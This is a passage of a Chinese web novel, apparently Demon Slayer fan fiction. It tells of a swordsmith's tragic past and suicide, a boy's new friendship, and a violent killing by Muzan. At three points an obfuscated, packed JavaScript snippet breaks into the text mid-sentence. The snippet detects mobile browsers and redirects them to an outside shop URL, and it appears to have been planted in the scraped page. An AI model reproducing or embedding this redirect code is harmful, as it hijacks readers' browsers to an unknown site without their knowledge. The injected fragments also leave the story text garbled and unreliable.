“没被挑中也没关系,你才第一年参选,今年失败,明年说不定就能给葵级队士锻刀,过两年说不定还能给甲级锻呢。”铁牛看他不说话,拍拍他的肩膀安慰他,“就像你一直跟我说的,总要时间嘛……” 火柱挑中了我。 虎子嘴唇张张合合,最后一句话也没说,只是轻声“嗯”了一句。 “铁牛。”快走出竹林的时候,虎子叫住他。 “嗯?”铁牛回头。 “努力是一定会有回报的。”虎子眼神很认真,很诚恳,“每天锻造室你来得最早,走得最晚,一定会有回报的。” “专注、汗水、信仰、热爱。”虎子站在月光下,“一定会有回报的。” “只是时间早晚问题。” 铁牛靠在大树的阴影里,看不清神情,过了一会“嗐”得拍了怕虎子肩膀,“我知道,我还要当世界第一的锻刀师呢!我肯定会努力的!” “你也是!不要松懈噢!” 后来无数个日夜,铁牛都想一巴掌扇死那个拍着虎子肩膀的自己。 虎子第一次参加选拔,就成了火柱的专属锻刀师。 这件事根本瞒不住,铁牛第二天刚在炉边坐下,就听到旁人热火朝天地在夸。 眼睛亮晶晶的,手舞足蹈,音量极大,仿佛选中自己一样,与有荣焉。 “既然来了,就开始锻。”铁牛坐在一边冷眼打断了他们,“羡慕别人不如练好自己的基本功。” 旁人对视两眼,嗤笑一声,也不说话,扭头走了,换了个远的地方继续热火朝天地聊,“那个铁牛,是不是已经在中级班待了三年了?还没开始锻日轮刀啊?” “大我们五岁吧,都快被我弟赶上了,怎么好意思说这种话的?” “嫉妒吧?” “啧啧啧。” 屋外闲言碎语不断,屋内铁牛第一次抡锤子的节奏乱了。 他想不明白,能给火柱锻刀这么好的事,虎子为什么不告诉自己。 为什么不跟我分享呢? 怕我失落吗? 跟我说不出口吗? 还是维护我那可怜的自尊? 砰! 锤子轮偏,整个料子飞在空中,转了好几圈,而后滚落在地上,烫得地面滋滋响。 铁牛垂眸,提着锤子,立在地上,过了许久弯腰,用钳子把料子处理好,摘下手套离开了锻造室。 这是自他七年如一日踏进锻造室以来,第一次没有在炉火边待到半夜。 他知道,自己心乱了,就不该进来。 锻刀,要心无杂念。 锻料子,也是一样。 ———— 铁牛第一次锻成日轮刀的时候很激动,他高声想叫虎子来看。 “虎子!虎……”声音出口,才想起来虎子去鬼杀队了。 短短几年,虎子已经是柱们御用的锻刀师了。 “恭喜。”师父走了过来,也是满脸欣慰,“终于锻出一把好刀来。” “坚持没有白费啊!”师父狠狠拍了怕铁牛的背。 铁牛笑,举着日轮刀对着光看,“师父,我觉得还不够利,我再研究研究。” 他想天下第一的刀,一定削发如铁,锋利异常。 他继续日复一日心无旁骛地锻刀。 期间虎子回来一趟,在旁边看着,“铁牛,温度太低拿出来的话,淬火时容易断……现在已经足够了,再脆,实战用不久的。” 铁牛聚精会神地控制着刀背的温度,充耳不闻。 虎子站在原地抿唇。 “虎子!我今天新摘了山楂,可甜了,快来尝尝!”门外阿妈竹筐搂着一篮山楂。 “好嘞阿妈!”虎子高声应了,又看了铁牛一会,“那我先去吃。” 铁牛下巴微不可见般点点。 虎子再一眨眼,又觉得一切都像是自己的错觉。 他没办法,只能往外走。 ————— 就像虎子说的那样,刀虽然利,但太脆,刀刃一碰就出断口。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16537704|182609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>铁牛试了上万次,还是一样的结果。 “听说鬼的血能滋养日轮刀。”旁边有刀匠走过。 “啊?真的假的?” 铁牛皱着眉想,又花了整整半年,在整片竹林做了个大型陷阱。 而后在一天夜里,挪走了放在旁边的紫藤花。 鬼来得那一天,虎子正好来找铁牛。 他笑着招手,正准备跟铁牛说什么,却只看见铁牛无端放大的瞳孔,极度惊惧的模样。 虎子下意识一个迅猛地翻滚。 可下一秒还是被尖锐的长指甲直接捅穿了喉咙。 喉骨森白,血液咕噜咕噜往外涌,虎子想要张口,出来的都是嗬嗬的气泡声。 “咳!”又是一指甲,肺被捅穿了。 铁牛忙往屋里跑,从刀架上拔出日轮刀,拼了命地冲向鬼,高举着刀,大喊着往鬼脖子上砍! 他常年锻刀,双臂力量惊人,鬼空门大开,要害裸露在外面,一定能够砍断鬼的脖子! 划—— 刀刃轻易划开鬼的皮肤,铁牛大喜,还欲用力。 下一秒,鬼一拳擂上刀身。 嘣—— 像是弦被拉断。 刀身映着的世界左右震颤着。 铁牛发现刀尖离自己越来越远,越来越远……而手中只剩下半截残刀。 后面的一切铁牛都不记得了。 他只记得自己最满意的作品,一拳就被擂断了。 只记得那时候虎子还在朝自己笑,比个手势示意自己快跑。 最后的最后,他呆呆地看着虎子,看他用口型给自己比划——你一定要成为世界第一的锻刀师。 那天,阿妈死了,虎子死了。 铁牛被押送到刑堂,听人说虎子走之前手的小指勾着,拇指摁着,很奇怪的手势。 他们说不知道是什么意思。 他戴着镣铐跪在堂下,听堂上的意思要他一命赔一命。 “呸!他赔得起吗!虎子是我们刀匠村有史以来,几百年难得一遇的天才,没有他要少杀多少鬼?要多死多少鬼杀队的剑士!” “你赔的起吗你!”那人一鞭腿就扫向了铁牛的脸颊。 铁牛没躲,被一腿抽翻在地上滚了两圈,半天爬不起身。 “为什么死的不是你啊!!!” “你为什么不去救他!” 是啊,我为什么不去救他…… 我为什么没能救下他…… 我的刀……我锻了这么多年的刀,日复一日锻成的刀……为什么会在最需要的时候断…… 铁牛被人提起来,重新跪回地上。 师父求情,“要不废了他的手,把他逐出村就算了吧……” “他一直很努力,也很热爱锻刀……” “努力……努力……”那人怒极反笑,“这里的谁不努力?!努力有什么用!” “锻刀是一项技术,吃得是天赋!” “努力他妈顶个屁用啊!” “要是努力有用的话,锻的刀就不会破不会锈,就不会再有柱因为战斗中断了刀,被鬼吃掉了!” “我们每一个锻刀师,干的都是把别人脑袋栓自己裤腰上的事。” “我们要对每一个战场上的剑士,直面鬼的队员负责!” 那天的最后,铁牛全须全尾地被逐出刀匠村。 鬼杀队的柱出面保下了他。 柱说:“虎子对我有恩,他之前叮嘱过我,遇到了要好好照顾你。” 柱说:“我想他会希望你能好好活下去。” “他有什么遗物吗?”铁牛听见自己问。 柱递来了只剩下半截的半天狗面具。 铁牛接过了,塞进胸口的衣袋里。 临走前,柱想起了什么,“他的面具一直不合适。” “他跟我说,成天在鬼杀队就会想家,所以就把朋友的面具随身戴着。” 虎子站在演武场边缘看着柱试刀,“这样戴上面具,就会觉得他也在我身边。” “噢?”柱满意地收刀入鞘,“是个怎样的朋友?” “是个很厉害的锻刀师。”虎子很骄傲地勾出个谦逊的笑,“未来世界第一的锻刀师!” “哦?比你还厉害吗?”柱扭头,有些好奇。 “一定会的!”长风扬起虎子的碎发,露出他骄傲的眉眼,斩钉截铁的嗓音顺着风飘向田野,惊得野鸭乱蹿,“一定!” ———— 有人推开了门。 铁牛骤然回神。 而后看见白城推开门进来,眉角弯弯看着自己笑,“考虑得怎么样了?” “你要日轮刀来干什么?” “杀鬼舞辻无惨。” “他死了,是不是世界上所有的鬼都会消失?” “所有吃人的鬼都会消失。” “你要什么样的刀?” “最锋利的刀。” “被鬼一锤,会断。” “没关系。”白城摇头,“它只要锋利就好。” “我要一柄世界上最锋利的刀。” 17. 小蛋糕 打铁铺是间老房子,墙壁的角落都有些斑驳,隐翅虫在角落里爬着,然后被人一脚踩个稀巴烂。 “这虫子的毒液是强酸。”铁牛面无表情地补充,“你注意一点。” 白城点头。 临走的时候,白城说这柄刀一周内就要。 铁牛默了一会,说他来想办法。 “很抱歉。”白城也知道自己的要求蛮横无理。 “交给我就好。”铁牛挺直脊背,垂眸看着手中的面具。 出门的时候,铁牛说:“我想要一罐血,鬼的血。” 白城扭头,“干什么?” “锻刀用。” “什么时候要?” “七天出刀,最晚第六天。” “好,我来想办法。” 关上门的时候,余光从门缝窥见,戴着半截面具的铁牛,跪在地上打开了一个被尘埃封住的箱子。 吱呀—— 门合上了。 回町奉行所的时候接近傍晚,学堂散学的稚童三三两两熙攘着走,白城看见路边在排队的糕点店顺手买了点。 希望上弦二已经走了,但白城知道这是妄想。 走在路上头疼欲裂,只想全世界都跟着一起爆炸。 该死的无惨,该死的上弦,该死的系统! 啊! 白城愤愤无声嚎了一嗓子。 还没进奉行町远远就看见狛治抱着膝盖坐在町奉行所台阶下,闷闷不乐地看着石缝里搬家的蚂蚁。 “怎么了?”白城蹲在他面前。 狛治怔怔仰头看他,长长的睫毛翘着,湛蓝的瞳孔还没回过神来。 白城放下糕点,轻轻抱住了他。 这些天厨房给他补了羊奶,入怀能嗅到小孩身上的奶香。 小孩软乎乎的脸蛋贴在白城耳边,难得让白城感受到了一丝安心。 最近几天发生了太多的事情,一件一件接踵而至,白城能嗅到风中那一丝命运的捉弄。 山雨欲来风满楼。 但至少此刻,至少此刻小孩还乖乖待在自己怀里,完整的,安心的。 能让白城觉得,自己的努力没有白费,这个危机四伏的异世界还有一个能称之为家的地方。 小孩突然扑向了白城。 白城没蹲稳,一屁股坐倒在地,“怎么了?” “他们说你出去了,我就在这等。”狛治摇头,死死抱着白城,脸颊贴在他胸口,紧紧抱着,“城外有鬼杀人,我怕你出事了。” 白城被箍得有些呼吸困难,艰难抬手一下一下顺着狛治的头发,“我这不回来了吗,有事出去了一趟。” 过了许久,狛治红着耳根放开白城,等白城起身,又绕到白城背后,替他清理身后的浮尘。 事毕,白城牵住他的小手,也不嫌灰扑扑的,把糕点递给他,“城南最近新开了糕点铺,回来看着生意不错,就想着你可能爱吃。” 狛治接过,勾着包装绳仰头看了一眼,有些眼熟,“很难排吧……” 排了半个时辰,白城眨眼,“还好,今天人少。” “怎么不在里头等?”白城牵着他跨过奉行所高高的门槛。 狛治不语。 “想早点看到我?”白城逗他。 “嗯。”狛治说,“我很担心你。” “有点害怕。” “不要担心,我可是很强的。” 白城半蹲在地上,平视着狛治,眼神平和,“相信我,好吗?” “嗯。”狛治犹豫一会,手臂轻轻环住白城的身体。 很瘦,像纸片一样,仿佛轻轻一吹就散了。 “我救了一个女孩回家。”小手拉大手一路往家走,狛治给白城说昨天发生的事情。 “哦?她叫什么名字?” “恋雪,素山恋雪。” “很好听的名字。” “嗯,她身体不好,被朋友丢在了街边,我把她送到了医馆。又看着夜色有些晚,就把她送回了家。”狛治絮絮叨叨,“到的时候快天黑了,我就在那留宿了一晚,早上回来的时候,在那颗特别有名的大树边看到被鬼袭击的尸体。” “然后我就匆匆跑回来,结果小黑大人说你不在。” “房里又有很奇怪的人……” “你们见到了?”白城皱眉,掀开狛治的袖子和裤脚。 “没事……”狛治讪讪,身体有些僵硬,任由白城摆弄,“他没对我做什么……” “离他远点。”白城确认狛治身上没有伤口方才松了一口气,“他很危险。” “我知道。”狛治点头,而后小手勾住了白城的小指,认真看他,“你也是。” 白城怔在原地,恍了一下,而后才勾起一抹笑,揉了揉他的脑袋,“我没事,我是大人了。” “大人是很强的。” “大人会解决所有事情。” “你不要担心。” 狛治点头说好。 他很信任我。 白城意识到这一点。 也很珍视我…… 白城又笑了,这回比上个笑真心不少,“你开心就是我开心。” 白城把人领到西南角的一间小屋子里,屋里有一个大叔在练拳,恋雪也在。 “哟!”大叔举起一个手掌打招呼,右膝上包扎着一块白布,“奉行大人!” “这位是?” “恋雪小姐的父亲。”白城道,“昨天傍晚在城里遇到了,他说在找自己的女儿,我怕他大晚上在街上出事,就邀请他来奉行所留宿一晚。” “运气真好,就是恋雪小姐在找的父亲呢。” 白城大人真厉害。 好像什么都安排好了。 狛治想起自己早上背着恋雪在街道狂奔的模样,觉得自己没必要这么担心。 白城大人很强,是个很靠谱的大人。 嗯。 他懵懵懂懂地给庆藏行了个礼,算是打招呼。 恋雪从床榻起身,“给奉行大人添麻烦了。” “不必多礼。”白城笑,“好好修养身体,长大了就会好的。” 狛治凑到恋雪身边问早上那块染血的大石头怎么回事。 “老爸出来的时候不小心绊倒了。”恋雪抿唇,“正好膝盖蹭到了。” “没有撞上鬼真是太好了。” “嗯,还得多谢奉行大人。” 两小只凑在一起耳语,白城跟庆藏打了几声招呼,顺便提了想把狛治送去练武的事。 “庆藏先生经营着一家道场吧。”白城说,“我们家狛治在这方面很有天赋。” “我想让他跟着庆藏先生学习。” 庆藏讶异,但狛治救了恋雪,他本就心生感激,“如果狛治想的话,随时可以来。” “我一定传授毕生所学。”庆藏抱拳。 “那就说好了。”白城笑,看着白墙外的晚霞,“后续狛治就麻烦庆藏先生多担待了,今天也晚了,庆藏先生和恋雪不如明日再回去吧。” “好。”庆藏挠头一笑,“本是想等您回来,跟您道声谢再走,再多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16547987|182609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 留一天叨扰了。” “无妨。”白城看着屋里两小只埋头分着糕点,没想打搅他们,准备悄悄走。 谁料还在吃糕点的狛治鼓着腮就看过来,“你要去书房吗?我跟你一块走。” 说罢,麻溜起身,蹿到了白城身边。 嘴边还沾着碎屑,白城俯下身子,用指尖轻轻擦掉了,“不多陪陪恋雪小姐?” 狛治看着白城,“之后会去找她的。” 白城用手帕擦了擦他的嘴巴,又蹭净指尖,朝恋雪小姐点头,而后跟庆藏说,“那我带着狛治先走了。” “屋子里是谁?”狛治问起那个黑发男人,“他是人类吗?为什么在你床上?” 这些问题并不好回答,但白城没有敷衍,“为什么问他是不是人类?” “世界上有鬼。”狛治皱眉,“我见过。” “我感觉他不像个好东西,很臭。” 白城哑然,“那我臭吗?” 狛治不解,努力嗅了嗅,“香香的,檀木香,很好闻。” 白城被他小狗般模样逗笑,“他是鬼噢,很危险,所以你离他远一些。” “为什么会来?” 白城看着狛治好奇的眼,默了一会,“晚些时候,晚些时候我再告诉你,好吗?” 狛治怔住,而后点头,“好吧。” “你要注意安全。” “嗯,好,我会的。” 推开书房门的时候,屋内很静。 白城给狛治倒了一杯水。 狛治乖乖坐在椅子上晃着小腿。 “为什么给他倒,不给我倒?”上弦二衣冠不整,露出大片胸膛,懒洋洋地从内室出来,一屁股坐在狛治身边,“白大人有些厚此薄彼了。” “他是我崽。”白城掀了掀眼皮,“你算什么?” “爸~爸~” 上弦掐着嗓子,声音缱绻挑逗,魅惑又戏谑,拖腔拿调。 惊得狛治眼睛都瞪大了,“你在胡说些什么?” 白城不想惹事,只是皱眉顺手给他倒了一杯。 “大人的事,你小孩别管。”稚澄满意地从白城手里接过水杯,也不喝,就放在手心里转着。 好温柔。 白城和狛治的相处,好温柔。 温柔到让他都忍不住出来横插一脚。 真漂亮啊。 稚澄注视着低头跟狛治说话的白城。 真漂亮啊。 这些天稚澄就懒懒散散瘫在白城床上,看起来很安分的模样,应该没有跟无惨进行新的联络。 第六天一早,白城躲到安全的角落割腕放血,用自制试管装了满满两管。 【系统,屏蔽住了吧?】 白城不想这次血味再次引发什么不好的事情。 【请不要质疑系统的专业。】 送血到铁牛打铁铺的时候,屋里传来很有节奏的打铁声。 门没锁,一推就开了。 阳光透在炉边,照在男人肌肉分明的蜜色手臂上,室内很热,豆大的汗滴在皮肤蜿蜒,又顺着动作挥洒在空。 铁锤轮着。 一下,两下。 富有节律。 手臂在空中划出完美的圆弧。 一下,两下。 一切都精密得像是不可破坏的仪器,饶是白城一个外行,都能看出完美二字。 他没有打扰他,只是悄悄把血放在门口,便离开了。 【这罐血不会被无惨嗅到吧?】 【请相信系统的权威。】 18. 书房 右掌在前,左拳微收,新的练功服背后白底黑字印着素流两个大字。 狛治屏气凝神,视线死死咬着庆藏,脚步微移,以迅雷不及掩耳之势出拳。 庆藏抬手格挡。 拳脚碰撞的声音充斥在不大的院子里,庆藏引导着喂招,观赏性极强。 “狛治先生很厉害呢。”恋雪坐在床榻上看。 “因为之前有请老师教导武术。”白城轻轻抚了抚她的额头,“恋雪小姐长大了也可以去学噢。” “欸?”花瞳睁大。 白城点头表示肯定。 小黑匆匆自外而来,立在白城身后。 与此同时,狛治被揪着领口摔倒在地,砰得一声砸起大片尘土。 “抱歉,抱歉,很少遇到这么好的习武苗子。”庆藏爽朗道歉,向狛治伸手,“打得一时间有些上头。” 狛治咬牙握上,轻松起身,行了个收尾礼。 “怎么样?”白城给狛治擦了擦脸上沾染的尘埃,“想要跟着庆藏师父学习吗?” “他很强。”狛治舔了舔犬牙。 “嗯。”白城微笑看他。 “我会比他还要强。”狛治眼神很亮,野心和自信在瞳孔里燃烧,像是熊熊烈火,近要满溢出来。 “我相信你。”白城笑,“慢慢来,别急。” 庆藏给狛治递了块白色毛巾,跟白城道谢,“劳烦您还特意送我们回来。” “只是顺路带狛治来道场看看。”白城笑,“不必介怀。” 小黑也适时上前,“庆藏先生,附近的道场我也已经拜访过了,日后不会再出现骚扰的事情,还望您放心。” “太感谢了。” 大人在虚以逶迤,狛治瘪瘪嘴,视线四处转悠,好巧不巧撞进了正偷看自己的那双花瞳里。 被抓包的一瞬,恋雪脸就红了。 两人对视,屏息窒了一秒,而后不约而同悄悄移开了头。 少年心事,耳根绯红,不敢多看,又舍不得不看。 偶尔互相抬眼,又正好撞到一块,后来怎么都不敢再看了。 算算日头也高了,白城起身告别,准备去取日轮刀。 “你要在素流道场待一会吗?”白城问他。 “你要去哪?”狛治问。 “去处理一些事。” “我可以一起吗?”狛治问。 “如果你想的话。” 狛治思考一会,起身告别,“下次来,我会给你带城外的桂花蜜,甜甜的,泡水很好喝。” “欸?”恋雪手指搭在唇边,“好。” “那我等狛治先生。” “不会太久。”狛治认真,“不会让你等太久,明天就来。” “好。” 从素流道场去铁牛打铁铺路程不算远,穿过小巷,路过城外的草房,路边有小孩用石块在地面刻着格子。 “画好了吗!我要来跳了!” 叽叽喳喳的。 “喜欢恋雪小姐?”白城问他。 “才不是?!”狛治一蹦三尺高。 “什么不是?”白城挑眉,“不是喜欢,还是不是恋雪?” 狛治嘴巴抿着,眼神飘着。 “喜欢的吧?”白城戳了戳他的脸蛋。 狛治仰起脖子朝后躲。 “喜欢就要说出来,不然会错过很多噢。”白城又戳,上身逼近,“不敢对恋雪小姐说喜欢的话……那狛治喜欢我吗?” 狛治整个腰板都仰了下去。 “喜欢吗?”白城捅了捅他腰间。 后仰太多的小孩直接重心不稳,啪唧栽倒在地,后背又砸起一片土。 白城咯咯笑,试着把狛治抱起来,在怀里掂了掂才发现是异想天开,退而求其次把人拉起来。 “喜欢分很多种,”白城拉着小孩往前走,不忘掰着狛治的手指跟他数,“对家人的,对朋友的,对恋人的。” “这些喜欢有些不同,也有些相同。总之如果遇到一个人,你吃好吃的想着给它带一份,看到漂亮的想着带它来一起看,想要变强保护它,舍不得它受到伤害的话,那就是喜欢噢。” “这个时候最重要的就是,挑一个好的时机,当着她的面,亲自跟她说——我喜欢你,请您跟我交往吧!哪怕被拒绝了也没关系噢~不过要记得保持礼貌。” “就像这样。”白城蹲下,眼睛笑得弯弯的像月亮,“狛治,我喜欢你。我很爱你噢。” “你你你!”狛治小脸爆红,语无伦次,“你在说什么啊!” “在告诉狛治怎么向喜欢的人表达自己的爱。” “怎么样?不难的吧?”白城笑,刮了刮狛治鼻尖,“说喜欢。” “喜……喜……”小孩舌头打结,打了半天,欢字刚蹦出一个音节,欻一下整个人从头顶红到脖子根,脑袋嘭地冒出蒸汽,快步往前走了两步,“才才才……才不要!” 嘴唇一抿,便是再也撬不开了。 之后白城再逗,小孩就闷头往前走,充耳不闻。 “欸欸欸,别走了。”白城把人拉住,“到了就在这。” 狛治退了两步。 一高一矮站在铁牛打铁铺的牌匾下。 “铁牛打铁铺?” “嗯。” “来取什么?” “一柄刀,全天下最锋利的刀。” “在这?”狛治不解,明明这牌匾都朴素得不行。 “嗯哼。”白城揉了揉他的头发,“就在这。” “失礼了。”白城推开门,“没有锁呢……” 炉膛的火早已冷去,空气中仍残留焦灼的味道。 穿堂风卷起余烬,吹动旧黄的帘布。 白城抬步欲进,发现拉不动狛治,扭头问,“怎么了?” 少年放大的瞳孔睁着,手指缓缓抬起,指向床榻边缘。 盛夏的风卷过内室的门帘,露出床边低垂着头颅的躯体一角来。 白城瞳孔骤缩,立马捂住了小孩的眼睛,“狛治,你去外面。” 狛治握住他的手,缓缓收紧了手指,很坚定地从自己眼前摘下来,仰头看白城,“我跟你一起。” “你还小……” “我跟你一起。”狛治重复了一遍。 眼神坚定,坚定到白城再也说不出话来,默了半晌,“如果害怕,躲到我身后来。” 越往里走,腥味越浓,隐隐约约的尸臭如附骨之蛆自下而上攀满了裸露在外的衣物皮肤乃至每根发丝。 撩开门帘,同类的尸体第一次彻头彻尾不足半米暴露在眼前。 铁牛头颅低垂靠在床沿,那双打铁的手此刻无力垂落,半截半天狗的面具滚落在手边,崭新的黑刀直入心脏,暗色的血凝固在胸口那片的布料。 狛治上前用手探了探鼻息,“死了很久了,尸斑扩大,应是黎明前后死的。” “仇杀吗?不。看伤口像是自杀。” 狛治手脚麻利地探查完现场,才发现白城一直都没有说话。 咕噜。 喉结上下滚动,白城努力吞咽着口水,指尖都在发抖,脊髓像被人抽了去,两腿都在发软。 屋子很小,太阳很冷,照得全身的鸡皮疙瘩都起来了。 恐惧,来自基因层面的恐惧。 血腥、腐臭、死亡。 鼻尖的气味,同类的尸体,猩红的血渍,一切的一切惊得汗毛颤栗,全身上下所有的细胞都战栗着尖叫说快逃! 白城缓缓用指尖掐住自己的掌心。 没有人。 没有没接受过专业训练的人,可以平静直面同类的尸体,更何况是在社会秩序里被保护得良好的现代人。 电视剧里都是骗人的,明明这里的一切都激得人想要立刻逃离。 白城的脚尖不自主地往外转,膝盖发软,逃,快逃。 胃在翻滚。 想吐。 “你还好吗?”手被轻轻拉动了。 白城低头。 狛治很担心地望他。 “嗯。”白城勉强笑笑。 “你要取的刀在哪里?”狛治把屋子里都扫了一遍,没有看见。 “应该……在这。”白城缓缓呼出一口气,勉强压下身体的本能,轻轻上前一步,走到铁牛岔开的腿|间,抬手握住了刀柄。 入手冰冷,可轻轻一握,刀刃变红,恍惚间像是听到金属震颤的铮铮长鸣。 白城缓缓抽出刀,刀刃轻轻喇破内脏,滚动的血顺着刃纹蜿蜒而下,手腕轻抖,刀尖一震,光洁一新。 好刀,真正的好刀。 刃口泛着一种近乎透明的光,阳光落在其上,刃纹像是水底潜动的光,荡漾着细若蚕丝的波纹。 入手沉静,却不掩锋芒,如寒星,如秋水,多一分则伤人,少一分则笨拙。 一寸一寸,尽见功底。 哪怕离村十年,都未有懈怠。 这就是刀匠村的实力吗? 白城不由感叹。 “上面刻了字。”狛治发现。 牛虎二字静静落在漆黑的刀背上。 “牛虎是谁?”狛治询问,“他不是叫铁牛吗?” 白城轻轻摇头,弯腰拾起地上的面具,用衣角一点一点擦拭干净,“狛治,我想给他下葬。” “可能今天要晚点回去了。” “好。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16561147|182609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 收拾遗物的时候,狛治还发现了一封信,被白城收在口袋里。 下葬很简单,挖一个土坑,把人埋里,立个石头,再刻个名字,便再无其它。 一了百了,徒留黄土,再无其它。 填土前,白城跪在地上,轻轻把红黑色的面具戴在铁牛脸上,于是一半面具,一半面庞。 白城给面具扶正,又到坟侧跪拜三下,而后黄沙漫天,一锹接一锹,把人埋在了地底。 “名字刻什么?”狛治半跪在石头前扭头问白城,“铁虎还是铁牛?” “天下第一的锻刀师。”白城垂眸看着坟包,“刻天下第一的锻刀师。” “好。”狛治专心致志地抱着石头埋头刻字。 回去的时候天已经黑了,长街黑夜,明月高悬。 “狛治,人死了就什么都没有了。”白城握着狛治的小手。 “嗯。” “一抔黄土,连祭奠的人都没有。” “不会的。”狛治用力回握,“大家都很爱戴您,而且您还年轻,请不要这么想。” “狛治,我有的时候会很害怕。”白城望着漆黑的夜色,目光落在遥远的地方。 “害怕什么?” “远方的敌人。” “很强吗?” “很强。” “那我们逃吧?” “狛治,你想逃吗?” “我想你活下来,好好地活着。” “我也是一样。”白城扯出一抹悲笑,“狛治,我想你好好活着。” “我走不了,逃不掉。” “但你不一样。” “你识字,读书,练武,已经能很好地与人共处,组织得了人群,也会御下之道。” “有防人之心,却也会真诚待人。” “有喜欢的女孩,能跟她继续恋爱,直到结婚,日出而作,日落而息,幸福地生活在一起。” “你卧室柜子里的夹层,我放了金砖。不嫖赌够用一辈子。” “狛治,你已经有了一个崭新的人生,离开我,你有能力过得幸福。” “要离开吗,狛治?”白城看着自己的脚尖,轻声道,“我希望你离开。” “我不走。”少年坠在墙边的阴影里,月光把影子拉得瘦长。 “听到了吗!?” 狛治指甲掐进肉里,声音很冷,“我不走。” “为什么你们都想赶我走?” “老爸也是,你也是。” “我每一天都锻炼,你交代的事情我都有做好。” “我已经在努力变强了,我会一直一直变强,再给我一点时间,我会成为最强,我能帮到你的……” 白城回头看他。 “明明我才在町奉行所养了两盆花,鱼塘里的三只锦鲤才刚刚跟我熟悉,我才把这里当作我的家。”少年声音尖锐,近似嘶吼,“为什么又要抛下我?” “为什么又要赶我走?!” “抱歉。”晚风拂过耳侧,白城意识到不能这样,“是我错了。” “我只是担心你,我害怕你会因我而受到伤害。” “我不怕。”狛治死死攥住他,“我要跟你在一起。” “好。”白城回握小孩的手。 掌心粗糙,老茧有些膈手,是生命力的证明。 “那我们一起面对。” 往后走的路途有些沉默,借着月光,能看清小孩死抿的嘴,还有挂在脸上的清泪。 “帮我抱着这柄刀好嘛?”白城把刀递给他。 小孩接过,把刀搂在怀里,虽是不说话,但明显没那么低沉了。 走到光亮的地方,白城才想起怀里的信。 他拆开那张纸。 “信上写了什么?”狛治跨过町奉行所的门槛,有些生硬地问。 “我看看。”白城一目十行,“讲了他的过去。” “什么样的过去?”狛治抽了抽鼻子,两人走进书房外的院落。 “和他朋友的过去,是一个悲伤的故事。”白城低头擦了擦狛治眼角的泪珠,推开书房门,“今晚跟我一块睡吧~睡前讲给你听。” 一脚方才踏进书房,惊觉平日里熟悉的屋子安静异常。 常蜷在内室的上弦二此刻跪在地上,后背肌肉紧绷,明显整个鬼都紧张到极点。 桌案,对面,椅前。 苍白修长的手指落在案边。 白城顺着漆黑狩衣的大袖目光上移。 黑发,红瞳,像蛇一样的瞳孔毫无波澜,男人朝他们的方向淡漠一瞥。 手指一抖,瞳孔一缩,信纸轻飘飘落地。 鬼舞辻——无惨! 19. 血夜 一眼,就一眼。 什么都听不到了。 时间仿佛在耳边飞速流逝,整个人不着寸缕暴露在无惨的审视下,立在原地周身的一切开始寸寸崩坏,到最后身躯像是缩成了时间尽头那点不起眼的黑点,入目只剩满眼的白。 过了好久,也许只是一秒,白城回过神来,一把捂住了狛治的嘴巴。 说话被人打断,无惨苍白到病态的尖下巴微抬,眉头微拧着看过来。 【系统!!!!】 不能暴露! 不能暴露!! 此刻暴露,一切全完了! 【滴——检测到不明探视。】 【新手保护期倒计时:00:00:39:21】 【开启防护。】 空间波动一瞬,而后淡蓝的覆膜自白城的心脏顺着脉络盖住他全部的身体。 “这里没有我要找的东西。”无惨将视线挪回上弦二身上,声音柔和,咬字温雅,语速低缓,却让人不寒而栗,“不要再在这里浪费时间了。” 他走下榻榻米,一步一步踩在地上。 细眉蛇瞳,病态的脸颊苍白,耳侧刘海自然卷曲,黑冠垂缨,披着黑色狩衣,腰缠金线带,衣袖宽阔,行走间微微拂地。 脊背的每一寸肌肉都拉紧了,瞳孔越来越小,心脏像被一只手攥住。 咚咚,一下下收缩。 白城头皮发麻,微张着嘴,竟是一下也不能动。 无惨在他身边停住,斜眼睨了过来,平淡道,“抱歉,占用了你的房间。” “没……没事……”白城声音发颤。 无惨向外走。 白城垂眸盯着他的脚后跟。 一步,两步,越来越远。 走到门槛边,他又折了回来! “怎么……了……”白城勉强勾了个笑出来,下一秒笑容僵在脸上。 噗—— 大片血花迸溅而出,泼墨一般打得身后的墙面一片赤红! 只见一只手直直插入狛治的头颅,从眉心破开鼻梁,穿出脑后。 鲜血顺着狛治的脸颊缓缓流了下来。 “没有什么特别的。”无惨缓缓抽出了手,血顺着指尖,一滴一滴砸在地上,再溅开,炸出参差的边缘,他视线从狛治怀里的刀上收回,“稚澄,我们走吧。” 白城颤颤看着狛治软下的身子,半跪在地上搂住了他。 血,满手的血,满眼的红。 上一秒,上一秒狛治还在自己身后。 上一秒他还活着。 滚烫的,温热的。 还活着。 白城嘴唇蠕动着,手臂都在颤。 